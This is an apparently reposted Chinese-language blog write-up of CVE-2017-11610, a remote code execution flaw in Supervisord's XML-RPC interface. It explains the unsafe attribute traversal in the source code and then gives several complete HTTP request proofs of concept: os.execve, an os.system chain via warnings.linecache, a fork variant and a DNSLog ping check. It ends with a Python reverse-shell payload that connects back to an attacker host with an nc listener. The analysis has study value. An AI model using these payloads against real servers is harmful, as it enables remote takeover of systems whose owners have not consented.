0x00 漏洞概述
編號為CVE-2017-11610,
Supervisord是使用Python開發的行程管理程式,能夠將命令列行程或服務變為后臺運行的daemon(守護行程),Supervisord擁有監控行程狀態的能力,在行程例外退出時能夠重新啟動行程,
The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisord namespace lookups.
Supervisord在配置了Web介面后,服務器會啟動一個XML-RPC服務器,埠為9001,在獲取介面訪問權限后,攻擊者可以利用構造請求達成RCE,
影響版本:Supervisord < 3.0.1, 3.1.x < 3.1.4, 3.2.x < 3.2.4, 3.3.x < 3.3.3,
0x01 漏洞分析
配置
Supervisord的功能角色類似于Linux自帶的Systemd,相比于Systemd,Supervisord有幾個特點:
- 配置簡單;
- 作為簡單的第三方應用,不與系統產生耦合;
- 提供基于HTTP的API,支持遠程操作,
Supervisord為C-S架構,Server以服務形式在系統后臺運行,Client是一個命令列工具,根據用戶需求呼叫API,
查看Supervisord的組態檔可知,默認情況下,Supervisord的Server端監聽unix套接字unix:///tmp/supervisor.sock,Client配置的serverurl也是這個地址,
[unix_http_server]
file=/tmp/supervisor.sock ; the path to the socket file
;chmod=0700 ; socket file mode (default 0700)
;chown=nobody:nogroup ; socket file uid:gid owner
;username=user ; default is no username (open server)
;password=123 ; default is no password (open server)
;[inet_http_server] ; inet (TCP) server disabled by default
;port=127.0.0.1:9001 ; ip_address:port specifier, *:port for all iface
;username=user ; default is no username (open server)
;password=123 ; default is no password (open server)
[supervisorctl]
serverurl=unix:///tmp/supervisor.sock ; use a unix:// URL for a unix socket
;serverurl=http://127.0.0.1:9001 ; use an http:// url to specify an inet socket
;username=chris ; should be same as in [*_http_server] if set
;password=123 ; should be same as in [*_http_server] if set
;prompt=mysupervisor ; cmd line prompt (default "supervisor")
;history_file=~/.sc_history ; use readline history if available
Client去連接配置好的serverurl,使用RPC協議進行通信,通過XML,將methodName和params傳入服務端進行執行,如:
supervisorctl start [行程名]
此時start指令會呼叫supervisor.startProcess方法,
另外,如果設定了[inet_http_server]這一段(上述配置中被注釋),即可將Supervisord監聽在TCP埠上,這樣其它外部程式也可以呼叫,默認配置在9001埠,
原始碼
這個漏洞的本質是不安全的物件參考+方法呼叫,類似于Java反序列化漏洞的意味,
Supervisord就是C-S架構的基于RPC(遠程程序呼叫協議)的通信程序,Client通過RPC呼叫Server的某個函式并得到回傳結果,如果出現Server端策略外的呼叫(如os.system)則導致RCE,
RPC出于安全考慮會設定函式映射,Client只能呼叫白名單中的部分函式,且函式名已經通過映射,
3.3.2版本中,如下處理RPC:
class supervisor_xmlrpc_handler(xmlrpc_handler):
...
def call(self, method, params):
return traverse(self.rpcinterface, method, params)
def traverse(ob, method, params):
path = method.split('.')
for name in path:
if name.startswith('_'):
# security (don't allow things that start with an underscore to
# be called remotely)
raise RPCError(Faults.UNKNOWN_METHOD)
ob = getattr(ob, name, None)
if ob is None:
raise RPCError(Faults.UNKNOWN_METHOD)
try:
return ob(*params)
except TypeError:
raise RPCError(Faults.INCORRECT_PARAMETERS)
supervisor_xmlrpc_handler類用于處理RPC請求,其中的call方法才是真正執行遠程呼叫的函式,call中使用了traverse,其函式邏輯是:
- 針對
method,按點號分割存入陣列path; - 遍歷陣列,獲得
name,依據為是否以_開頭; - 如果不以
_開頭,則獲取ob物件的name屬性,作為新的ob物件; - 遍歷完成后獲得最終的
ob物件,對其呼叫,
這個函式的最終效果就是:初始輸入的ob物件下面的任意public方法,包括所有遞回子物件的任意public方法,都可以被呼叫,
此處的ob物件就是self.rpcinterface,但是(猜測)開發人員認為呼叫范圍被限制在了該物件內部,就并沒有做嚴格的白名單,然而CVE-2017-11610的發現者卻發現,在self.rpcinterface.supervisor.supervisord.options物件下,存在方法execve,相當于直接呼叫了系統的os.execve,可以達成RCE了,
class ServerOptions(Options):
...
def execve(self, filename, argv, env):
return os.execve(filename, argv, env)
PoC
POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 439
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.execve</methodName>
<params>
<param>
<string>/usr/local/bin/python</string>
</param>
<param>
<array>
<data>
<value><string>python</string></value>
<value><string>-c</string></value>
<value><string>import os;os.system('touch /tmp/success');</string></value>
</data>
</array>
</param>
<param>
<struct>
</struct>
</param>
</params>
</methodCall>
漏洞發現者使用的呼叫鏈為self.rpcinterface.supervisor.supervisord.options.execve,并基于此構造PoC,實際上這個原始PoC存在遺憾,因為Python的os.execve()函式會使用新行程替代當前行程,導致Supervisord本身退出,也就沒有權限維持,
如果使用Docker模擬靶機(或者生產環境真的使用了Docker),當基礎行程Supervisord退出時,會導致整個Docker容器的退出,漏洞利用局限在了一次性的命令(如寫檔案),
PoC改進
針對以上問題,通過發掘其它的呼叫鏈得以解決,存在supervisor.supervisord.options.warnings.linecache.os.system()可以利用(尋找非下劃線_開頭的屬性中是否存在引入了os模塊的情況而得到的結果),linecache具有更佳的利用條件,
構造PoC:
POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>touch /tmp/success</string>
</param>
</params>
</methodCall>
PoC又一改進
在原先的self.rpcinterface.supervisor.supervisord.options中,存在一個fork方法是呼叫了系統的os.fork函式,os.fork的作用是在當前行程派生一個新的子行程,所以即使當前行程被意外終止,也不會導致整個Supervisord退出,因為派生行程還存活,
先構造新子行程:
POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 133
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.fork</methodName>
<params>
</params>
</methodCall>
然后發送最初版本的PoC即可,
0x02 利用流程
靶機:192.168.31.39,攻擊機:192.168.31.197,
訪問靶機
是一臺版本3.3.2的Supervisord,

先行測驗
針對無回顯的機器,可以使用DNSLog進行初步驗證,
POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 275
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>ping mcxx8o.dnslog.cn</string>
</param>
</params>
</methodCall>

確認漏洞可以利用,
反彈Shell
攻擊機開啟監聽:
nc -lvp 6666
再次構造請求,寫反彈Shell:
POST /RPC2 HTTP/1.1
Host: 192.168.31.39:9001
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 425
<?xml version="1.0"?>
<methodCall>
<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>
<params>
<param>
<string>python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.31.197',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"</string>
</param>
</params>
</methodCall>
一直處于請求狀態說明執行成功,此時在攻擊機就拿到了Shell:

0x03 補充
幾個條件:
- 版本符合
- RPC可被訪問
- RPC弱密碼或無密碼
漏洞利用的關鍵是RPC的訪問權限,實際上,默認配置的Supervisord只監聽unix套接字,外部IP根本無法訪問,所以實際上利用條件很苛刻,另外,即使拿到了低權限,也無法通過訪問本地unix套接字進行提權——supervisor.sock的默認權限為0700,其它用戶無法訪問且能夠訪問的用戶具有相同權限,也就無從提權,
當然,能夠遇到RPC配置疏忽,得以查看服務器檔案,已經是很不錯的攻擊成果了,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/296066.html
標籤:其他
上一篇:PHP反序列化知識點總結
下一篇:Web安全-資訊收集
